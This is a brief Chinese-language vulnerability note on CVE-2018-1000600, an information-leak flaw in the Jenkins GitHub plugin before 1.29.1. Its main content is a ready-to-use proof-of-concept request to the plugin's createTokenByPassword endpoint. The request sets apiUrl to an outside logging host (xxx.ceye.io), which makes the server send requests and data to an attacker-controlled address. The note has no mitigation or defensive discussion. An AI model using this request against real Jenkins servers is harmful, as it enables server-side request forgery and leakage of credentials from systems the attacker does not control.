CVE-2018-1000600 Jenkins GitHub 信息泄漏/zh-hant

影响版本

Jenkins GitHub插件小于1.29.1

利用的POC如下，其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io